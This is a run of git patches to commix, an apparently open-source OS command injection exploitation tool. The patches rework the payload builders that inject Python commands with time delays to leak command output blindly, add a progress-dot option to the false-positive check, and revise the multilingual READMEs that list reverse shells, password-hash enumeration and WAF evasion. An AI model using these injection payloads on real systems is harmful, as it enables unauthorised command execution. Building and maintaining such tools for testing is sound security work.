agreed to the evasion, asked once and remembered for the rest of the run. WAF_EVASION_CONSENT = None # Which tier of the profile is in use, stepped up while the protection keeps blocking. From 89fab54ee7e3c1ab72fd3a2743fa74306bfcf466 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 8 Oct 2026 06:38:07 +0300 Subject: [PATCH 0866/1023] Various fixes, improvements, and updates --- src/core/techniques/tempfile_based/tfb_payloads.py | 8 ++++---- src/core/techniques/time_based/tb_payloads.py | 11 +++++++++++ src/utils/settings.py | 2 +- 3 files changed, 16 insertions(+), 5 deletions(-) diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 9e394e06de..449c14aeb7 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -266,7 +266,7 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, settings.USER_APPLIED_CMD = cmd if separator in (";", "\n", "\r\n") : payload = (separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX @@ -275,7 +275,7 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, ampersand = "&" payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + @@ -283,14 +283,14 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, ) elif separator == "&": payload = (separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator in ("|", "||"): pipe = "|" payload = (pipe + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + "||" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index 69a0b1161c..ab7b56372c 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -61,6 +61,17 @@ def _py_length_expr(cmd): settings.LINUX_PYTHON_INTERPRETER + " -c \"import sys;print(len(sys.stdin.buffer.read()))\"" + settings.CMD_SUB_SUFFIX) +""" +The command's output, saved to a file by the alternative interpreter - the tempfile-based technique's +own write step. Piped in the same way _py_length_expr is and for the same reason: the output is data +read off a stream, never text spliced into the program's own source, so nothing in it can break out +of a literal or be misread as code. +""" +def _py_write_expr(cmd, output_file): + return (settings.CMD_SUB_PREFIX + "printf '%s' \"" + _output_word(cmd) + "\"|" + + settings.LINUX_PYTHON_INTERPRETER + " -c \"import sys;open('" + output_file + + "','wb').write(sys.stdin.buffer.read())\"" + settings.CMD_SUB_SUFFIX) + """ The ordinal of that output's Nth byte, read the same way. Indexing bytes answers with the number itself, so nothing has to be converted afterwards. diff --git a/src/utils/settings.py b/src/utils/settings.py index 630e3d7c38..671921b2e4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -404,7 +404,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "194" +REVISION = "195" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4e5fc20b8dc6dafd3044096b812b2a9928393d08 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 8 Oct 2026 06:39:01 +0300 Subject: [PATCH 0867/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 7 ++++--- src/core/controller/injector.py | 14 ++++++++++---- src/utils/settings.py | 2 +- 3 files changed, 15 insertions(+), 8 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 6ac45923ba..1362490386 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -194,11 +194,12 @@ def final_false_positive_check(url, http_request_method, check_parameter, timese previous = settings.TIME_RELATED_ATTACK settings.TIME_RELATED_ATTACK = True try: - # Silent: this prints its own single line above, not the per-request one the reused check - # would otherwise add underneath it. + # Silent: this prints its own single line above, not the per-request chatter the reused check + # would otherwise add underneath it - but still asks for its dots, one per real request, same + # as every other multi-request progress line here. _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, url, check_parameter, None, 1, False, 0, 0, False, - settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True) + settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) finally: settings.TIME_RELATED_ATTACK = previous if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index a82be07af8..c3f3366ede 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1198,7 +1198,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques """ False-positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False, show_dots=None): payloads = execution.select_payloads_module(technique) @@ -1206,6 +1206,12 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if not silent: checks.check_for_false_positive_result(false_positive_warning) + # Whether to print one '.' per request below - tied to 'silent' unless the caller asks for the + # dots on their own, the way a caller with its own "please wait..." line does: its own progress, + # not the per-technique chatter 'silent' is there to drop. + if show_dots is None: + show_dots = not silent + # Varying the sleep time. if false_positive_warning: timesec = timesec + random.randint(3, 5) @@ -1256,7 +1262,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if payload is None: verified = False break - if not silent and settings.VERBOSITY_LEVEL == 0: + if show_dots and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") before = stability.requests_sent() exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) @@ -1285,7 +1291,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese cmd, previous_cmd = execution.windows_transform_cmd(cmd, technique, interpreter) output_length = 1 - if not silent and settings.VERBOSITY_LEVEL == 0: + if show_dots and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method) @@ -1321,7 +1327,7 @@ def _retry_confirm(payload): output = [] # The verified value is always in 1-7 (see handler.py's randv1/randv2 ranges). for ascii_char in range(1, 8): - if not silent and settings.VERBOSITY_LEVEL == 0: + if show_dots and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: payload = payloads.fp_result_alter_interpreter(separator, cmd, 1, ascii_char, timesec, http_request_method) diff --git a/src/utils/settings.py b/src/utils/settings.py index 671921b2e4..2a301f2531 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -404,7 +404,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "195" +REVISION = "196" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5c51ff6306e94a9622e6cebad7a8792f3ab30b23 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 8 Oct 2026 06:40:52 +0300 Subject: [PATCH 0868/1023] Various fixes, improvements, and updates --- README.md | 6 +++--- doc/translations/README-es-ES.md | 6 +++--- doc/translations/README-fa-FA.md | 6 +++--- doc/translations/README-fr-FR.md | 6 +++--- doc/translations/README-gr-GR.md | 6 +++--- doc/translations/README-idn-IDN.md | 6 +++--- doc/translations/README-tr-TR.md | 6 +++--- src/core/controller/checks.py | 13 +++++++++---- src/core/techniques/oob/oob_payloads.py | 2 +- src/utils/settings.py | 2 +- 10 files changed, 32 insertions(+), 27 deletions(-) diff --git a/README.md b/README.md index 31000c93b8..a85340bd59 100644 --- a/README.md +++ b/README.md @@ -33,8 +33,8 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c ## Features -* **Five injection techniques** - results-based (classic), boolean-based (blind, reading the answer off the page), time-based (blind), file-based (blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. Selected with `--technique`, or by the type they report with `--type`. -* **Code injection** - `--eval` tests the string a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript` or `PowerShell`, over the same five techniques. +* **Four injection techniques** - results-based (classic), boolean-based (blind, reading the answer off the page), time-based (blind), and file-based (blind, with a tempfile-based variant for write-restricted targets). Selected with `--technique`, or by the type they report with `--type`. Plus an out-of-band (OAST) channel over HTTP/S and DNS, turned on with its own `--oob` switch rather than a `--technique` of its own. +* **Code injection** - `--eval` tests the string a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript` or `PowerShell`, over the same four techniques (and the out-of-band channel). * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells and post-exploitation** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, file `download`/`upload` over the established shell, and enumeration of the current user, hostname, privileges, system information, users and password hashes. Every finding can be re-proved with `--proof`, which runs an experiment of its own and writes the transcript beside the run's output. * **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. @@ -74,7 +74,7 @@ Prove execution out-of-band, where the response carries nothing back : > Out-of-band (OAST) detection with `--oob` uses the public `oast.fun` interactsh server by default, > so interaction metadata for your target leaves your network. Point `--oob-server` at a self-hosted > instance to keep it in-house. For a detailed guide, refer to the -> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) wiki page. +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) wiki page. Scan a list of targets unattended and write the results to a file : diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 35a7d2ad34..dac854d16f 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -34,8 +34,8 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi ## Características -* **Cinco técnicas de inyección** - results-based (classic), boolean-based (a ciegas, leyendo la respuesta en la página), time-based (a ciegas), file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. Se eligen con `--technique`, o según el tipo con el que se informan con `--type`. -* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript o PowerShell, con las mismas cinco técnicas. +* **Cuatro técnicas de inyección** - results-based (classic), boolean-based (a ciegas, leyendo la respuesta en la página), time-based (a ciegas) y file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida). Se eligen con `--technique`, o según el tipo con el que se informan con `--type`. Además, un canal out-of-band (OAST) sobre HTTP/S y DNS, activado con su propio interruptor `--oob` en vez de una `--technique` propia. +* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript o PowerShell, con las mismas cuatro técnicas (y el canal out-of-band). * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas y post-explotación** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, transferencia de archivos (`download`/`upload`) a través de la shell establecida, y enumeración del usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas. Cada hallazgo puede volver a demostrarse con `--proof`, que ejecuta un experimento propio y escribe la transcripción junto a la salida del análisis. * **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. @@ -85,7 +85,7 @@ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.ph > interactsh público `oast.fun`, por lo que los metadatos de las interacciones con su objetivo salen > de su red. Apunte `--oob-server` a una instancia propia para mantenerlos internos. Para una guía > detallada, consulte la página -> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) del wiki. +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) del wiki. Analizar una lista de objetivos de forma desatendida y guardar los resultados en un archivo: diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index f939c76c5d..cd1d945212 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -33,8 +33,8 @@ ## ویژگی‌ها -* **پنج تکنیک تزریق** - results-based (classic)، boolean-based (کور، با خواندن پاسخ از صفحه)، time-based (کور)، file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. با `--technique` انتخاب می‌شوند، یا بر پایه نوعی که با `--type` گزارش می‌کنند. -* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript یا PowerShell و با همان پنج تکنیک آزمایش می‌کند. +* **چهار تکنیک تزریق** - results-based (classic)، boolean-based (کور، با خواندن پاسخ از صفحه)، time-based (کور) و file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن). با `--technique` انتخاب می‌شوند، یا بر پایه نوعی که با `--type` گزارش می‌کنند. به‌علاوه یک کانال out-of-band (OAST) روی HTTP/S و DNS، که با سوئیچ مستقل `--oob` فعال می‌شود، نه با `--technique`. +* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript یا PowerShell و با همان چهار تکنیک (و کانال out-of-band) آزمایش می‌کند. * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی و پس از بهره‌برداری** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده، و شمارش کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها. هر یافته را می‌توان با `--proof` دوباره اثبات کرد، که آزمایشی از آنِ خود اجرا می‌کند و رونوشت آن را کنار خروجی اجرا می‌نویسد. * **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. @@ -77,7 +77,7 @@ > `oast.fun` استفاده می‌کند، بنابراین فراداده تعامل‌های مربوط به هدف شما از شبکه‌تان خارج می‌شود. > برای آنکه این داده‌ها درون‌سازمانی بماند، `--oob-server` را به نمونه‌ای که خودتان میزبانی می‌کنید > اشاره دهید. برای راهنمای کامل، صفحه -> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) در ویکی را ببینید. +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) در ویکی را ببینید. پویش فهرستی از هدف‌ها بدون نظارت و نوشتن نتایج در یک فایل: diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 8abb6aac2e..0ccc11ec46 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -34,8 +34,8 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co ## Fonctionnalités -* **Cinq techniques d'injection** - results-based (classic), boolean-based (à l'aveugle, en lisant la réponse sur la page), time-based (à l'aveugle), file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. Choisies avec `--technique`, ou selon le type sous lequel elles sont rapportées avec `--type`. -* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript ou PowerShell, avec les cinq mêmes techniques. +* **Quatre techniques d'injection** - results-based (classic), boolean-based (à l'aveugle, en lisant la réponse sur la page), time-based (à l'aveugle) et file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte). Choisies avec `--technique`, ou selon le type sous lequel elles sont rapportées avec `--type`. Plus un canal out-of-band (OAST) via HTTP/S et DNS, activé par son propre commutateur `--oob` plutôt que par une `--technique`. +* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript ou PowerShell, avec les quatre mêmes techniques (et le canal out-of-band). * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs et post-exploitation** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, le transfert de fichiers (`download`/`upload`) via le shell établi, et l'énumération de l'utilisateur courant, du nom d'hôte, des privilèges, des informations système, des utilisateurs et des empreintes de mots de passe. Chaque découverte peut être prouvée à nouveau avec `--proof`, qui mène une expérience qui lui est propre et écrit la transcription à côté de la sortie de l'analyse. * **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. @@ -85,7 +85,7 @@ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.ph > `oast.fun` : les métadonnées des interactions avec votre cible sortent donc de votre réseau. > Pointez `--oob-server` vers une instance auto-hébergée pour les garder en interne. Pour un guide > détaillé, consultez la page -> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) du wiki. +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) du wiki. Analyser une liste de cibles sans surveillance et enregistrer les résultats dans un fichier : diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 798170f919..e9f7b09252 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -33,8 +33,8 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] ## Χαρακτηριστικά -* **Πέντε τεχνικές injection** – results-based (classic), boolean-based (blind, με την απάντηση να διαβάζεται από τη σελίδα), time-based (blind), file-based (blind, με παραλλαγή βασισμένη σε προσωρινό αρχείο για targets με περιορισμούς εγγραφής) και out-of-band (OAST) μέσω HTTP/S και DNS. Επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type`. -* **Code injection** – το `--eval` ελέγχει strings που εκτελούνται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript ή PowerShell, χρησιμοποιώντας τις ίδιες πέντε τεχνικές. +* **Τέσσερις τεχνικές injection** – results-based (classic), boolean-based (blind, με την απάντηση να διαβάζεται από τη σελίδα), time-based (blind) και file-based (blind, με παραλλαγή βασισμένη σε προσωρινό αρχείο για targets με περιορισμούς εγγραφής). Επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type`. Επιπλέον, ένα κανάλι out-of-band (OAST) μέσω HTTP/S και DNS, που ενεργοποιείται με το δικό του διακόπτη `--oob` αντί για `--technique`. +* **Code injection** – το `--eval` ελέγχει strings που εκτελούνται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript ή PowerShell, χρησιμοποιώντας τις ίδιες τέσσερις τεχνικές (και το κανάλι out-of-band). * **Ευρεία κάλυψη injection επιφανειών** – GET/POST parameters, HTTP headers, cookies και JSON/XML request bodies, καθώς και το `shellshock` module για CGI targets. * **Interactive shells και post-exploitation** – `os_shell` στο target, ενσωματωμένα modes `reverse_tcp` και `bind_tcp`, `download`/`upload` αρχείων μέσω του established shell, καθώς και enumeration για current user, hostname, privileges, system information, users και password hashes. Κάθε εύρημα μπορεί να επαληθευτεί εκ νέου με το `--proof`, το οποίο εκτελεί δικό του πείραμα και αποθηκεύει το transcript δίπλα στο output του run. * **Filter και WAF evasion** – πολλαπλά συνδυάσιμα tamper scripts, τα οποία εφαρμόζονται με deterministic σειρά. @@ -76,7 +76,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] > διακομιστή interactsh `oast.fun`, οπότε μεταδεδομένα των αλληλεπιδράσεων με τον στόχο σας φεύγουν > από το δίκτυό σας. Ορίστε την `--oob-server` σε μια δική σας εγκατάσταση, ώστε να παραμείνουν > εσωτερικά. Για αναλυτικό οδηγό, συμβουλευτείτε τη σελίδα -> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) στο wiki. +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) στο wiki. Σάρωση λίστας στόχων χωρίς επίβλεψη και εγγραφή των αποτελεσμάτων σε αρχείο : diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 2faa2b22d3..0c8786db5d 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -34,8 +34,8 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp ## Fitur -* **Lima teknik injeksi** - results-based (classic), boolean-based (buta, membaca jawabannya dari halaman), time-based (buta), file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. Dipilih dengan `--technique`, atau berdasarkan tipe yang mereka laporkan dengan `--type`. -* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, atau PowerShell, dengan lima teknik yang sama. +* **Empat teknik injeksi** - results-based (classic), boolean-based (buta, membaca jawabannya dari halaman), time-based (buta) dan file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya). Dipilih dengan `--technique`, atau berdasarkan tipe yang mereka laporkan dengan `--type`. Ditambah saluran out-of-band (OAST) melalui HTTP/S dan DNS, diaktifkan dengan switch `--oob` miliknya sendiri, bukan `--technique`. +* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, atau PowerShell, dengan empat teknik yang sama (dan saluran out-of-band). * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif dan pasca-eksploitasi** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk, serta enumerasi pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi. Setiap temuan dapat dibuktikan kembali dengan `--proof`, yang menjalankan percobaannya sendiri dan menulis transkripnya di samping keluaran pemindaian. * **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. @@ -78,7 +78,7 @@ Membuktikan eksekusi secara out-of-band, ketika respons tidak mengembalikan apa > `oast.fun`, sehingga metadata interaksi dengan target Anda keluar dari jaringan Anda. Arahkan > `--oob-server` ke instansi milik sendiri agar tetap berada di jaringan internal. Untuk panduan > lengkap, lihat halaman -> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) di wiki. +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) di wiki. Memindai daftar target tanpa pengawasan dan menyimpan hasilnya ke sebuah berkas: diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index c7ef6b7c7d..d8b59fc4a0 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -34,8 +34,8 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http ## Özellikler -* **Beş enjeksiyon tekniği** - results-based (classic), boolean-based (kör, yanıtı sayfadan okuyarak), time-based (kör), file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir. -* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP, Python, Ruby, JavaScript veya PowerShell olarak, aynı beş teknikle sınar. +* **Dört enjeksiyon tekniği** - results-based (classic), boolean-based (kör, yanıtı sayfadan okuyarak), time-based (kör) ve file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte). `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir. Ayrıca, bir `--technique` değil kendi `--oob` anahtarıyla açılan, HTTP/S ile DNS üzerinden out-of-band (OAST) kanalı. +* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP, Python, Ruby, JavaScript veya PowerShell olarak, aynı dört teknikle (ve out-of-band kanalıyla) sınar. * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar ve sömürü sonrası** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları, kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`) ve geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ile parola özetlerinin numaralandırılması. Her bulgu `--proof` ile yeniden kanıtlanabilir; bu, kendi deneyini çalıştırır ve dökümü taramanın diğer çıktılarının yanına yazar. * **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. @@ -78,7 +78,7 @@ Yanıtın hiçbir şey döndürmediği durumlarda çalıştırmayı bant dışı > sunucusunu kullanır; bu nedenle hedefinizle ilgili etkileşim meta verileri ağınızın dışına çıkar. > Bunları kurum içinde tutmak için `--oob-server` seçeneğini kendi sunucunuza yönlendirin. Ayrıntılı > rehber için wiki'deki -> 